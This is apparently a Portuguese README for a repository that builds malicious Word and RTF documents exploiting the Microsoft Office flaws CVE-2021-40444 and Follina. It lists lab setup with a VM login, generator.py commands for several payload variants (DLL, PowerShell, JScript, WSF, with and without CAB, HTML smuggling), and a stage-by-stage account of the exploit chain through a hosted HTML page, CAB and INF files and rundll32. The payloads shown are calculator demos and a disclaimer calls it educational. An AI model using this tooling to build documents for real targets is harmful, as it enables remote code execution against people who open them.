Explorando as Vulnerabilidades Follina CVE e CVE-2021-40444

Sumário

1. Introdução
2. Pré-requisitos
3. Configuração e Instalação
4. Uso
5. Explicação Detalhada
6. Comandos
7. Aviso Legal

Introdução

Este repositório contém scripts e recursos para explorar as vulnerabilidades Follina CVE e CVE-2021-40444 no Microsoft Office. Os scripts geram arquivos de documento maliciosos que podem executar código arbitrário no sistema de destino.

Pré-requisitos

• Flare VM
• Python 3.x
• Microsoft Word
• Pacotes Python necessários (listados em requirements.txt)

Configuração e Instalação

1. Configuração do Flare VM:

   • Certifique-se de ter o Flare VM instalado. As credenciais para a VM são:
     • Usuário: lab
     • Senha: password

2. Python e Ambiente Virtual:

   git clone https://github.com/basim-ahmad/Follina-CVE-and-CVE-2021-40444.git
   cd CVE-2021-40444
   

   • Garanta que o Python e o pip estejam instalados na máquina virtual.
   • Instale o pacote virtualenv usando o seguinte comando:

     pip install virtualenv
     

   • Crie um ambiente virtual chamado venv:

     python -m virtualenv venv
     

   • Ative o ambiente virtual:

     venv\Scripts\activate.bat
     

   • Instale os pacotes necessários:

     pip install -r requirements.txt
     

Uso

1. Gerando o Exploit:

   • Navegue até o diretório do projeto e execute o seguinte comando para gerar o exploit:

     python generator.py -u http://192.168.197.132 -P test\calc.dll --host
     

     Substitua 192.168.197.132 pelo seu endereço IP.

2. Acessando o Documento Gerado:

   • O arquivo .docx gerado estará localizado no diretório:

     C:\Users\Lab\Desktop\project\CVE-2021-40444\out\document.docx
     

Explicação Detalhada

Exploração em Cadeia

• O documento (.docx) é aberto.
• O documento contém um relacionamento apontando para HTML malicioso armazenado em document.xml.rels.
• O link HTML abre na visualização do IE.
• Um objeto aponta para um arquivo CAB e um iframe aponta para um arquivo INF, ambos incorporados em JScript e prefixados com a diretiva ".cpl:".
• O arquivo CAB abre, salvando o arquivo INF no diretório %TEMP%Low.
• O arquivo INF é aberto usando a diretiva ".cpl:", fazendo com que o rundll32 carregue lateralmente o arquivo INF.

Visão Geral dos Scripts

generator.py

• Implementa um exploit para o CVE-2021-40444, permitindo execução remota de código via Microsoft Office.
• Contém várias funções auxiliares para aplicar patches em arquivos CAB, criar arquivos RAR, gerar payloads e muito mais.

cab_parser.py

• Uma ferramenta para visualizar os cabeçalhos de arquivos CAB.
• Define classes e métodos para manipular e analisar arquivos CAB.

Seção 2.0: Configuração no Flare VM

• Instale as ferramentas e pacotes necessários.
• Crie e ative um ambiente virtual.
• Instale os pacotes Python do requirements.txt.

Comandos

• Gere o exploit original e teste localmente:

  python generator.py -u http://127.0.0.1 -P test\calc.dll --host
  

• Gere um exploit CABless aproveitando o MS-MSDT (ataque Follina), em documentos DOCX e RTF:

  python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert
  

• Gere um exploit CABless (somente IE) com contrabando de HTML e teste localmente via IE:

  python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
  

• Gere um exploit CABless com RAR e teste localmente via IE:

  python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
  

Aviso Legal

Este projeto é apenas para fins educacionais. Use-o com responsabilidade e não explore vulnerabilidades em sistemas nos quais você não tem permissão para testar. O uso indevido dessas informações pode levar a acusações criminais.